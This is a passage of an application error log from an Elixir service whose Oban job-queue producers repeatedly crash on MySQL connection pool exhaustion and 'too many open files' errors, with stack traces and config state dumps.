State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:09:33.244238Z], limit: 20, uuid: "345f0a19-f9b6-432c-a749-8babb6dab56f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:09:33.244244Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.109067>, refresh_timer: #Reference<0.2525715032.1121189889.109062>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:09:46.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1830ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:09:33.245597Z], limit: 10, uuid: "8dff3159-131e-430b-9876-958d486a3d8e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:09:33.245602Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.109069>, refresh_timer: #Reference<0.2525715032.1077411843.239078>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:09:46.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1838ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:09:33.242761Z], limit: 5, uuid: "4dd802d0-3bdc-4d44-8519-d2e2ec25e4b2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:09:33.242766Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.109070>, refresh_timer: #Reference<0.2525715032.1121189889.109034>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:09:46.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2053ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:09:33.241170Z], limit: 5, uuid: "63bfa33a-9c31-4660-97ff-ffdf84987593", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:09:33.241178Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.109068>, refresh_timer: #Reference<0.2525715032.1121189889.109009>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:09:47.316000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:09:48.957000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:09:52.336000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:09:52.442000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:09:52.579000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:09:53.755000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:09:53.999000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:09:58.219000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:09:58.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1061ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:09:46.250268Z], limit: 5, uuid: "3d1aa66a-e8c5-4849-b219-5f664bc97730", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:09:46.250275Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.7228>, refresh_timer: #Reference<0.2525715032.1099431938.7204>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:09:58.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 814ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:09:46.242475Z], limit: 20, uuid: "2afdad39-cbb8-41bb-8214-2cf60979f8af", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:09:46.242479Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.7226>, refresh_timer: #Reference<0.2525715032.1099431938.7164>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:09:58.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 878ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:09:46.240318Z], limit: 50, uuid: "85300d50-1b0a-4ca4-9657-094958a14a0a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:09:46.240324Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.7156>, refresh_timer: #Reference<0.2525715032.1099431938.7155>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:09:58.244000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1035ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:09:46.248396Z], limit: 3, uuid: "56cbf248-18da-416c-88db-0c9f4da43bc9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:09:46.248403Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.255412>, refresh_timer: #Reference<0.2525715032.1068236804.255411>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:09:58.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1013ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:09:46.242204Z], limit: 10, uuid: "99333036-f20a-401e-9c33-7c07afe80125", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:09:46.242211Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.7227>, refresh_timer: #Reference<0.2525715032.1099431938.7149>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:09:58.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1059ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
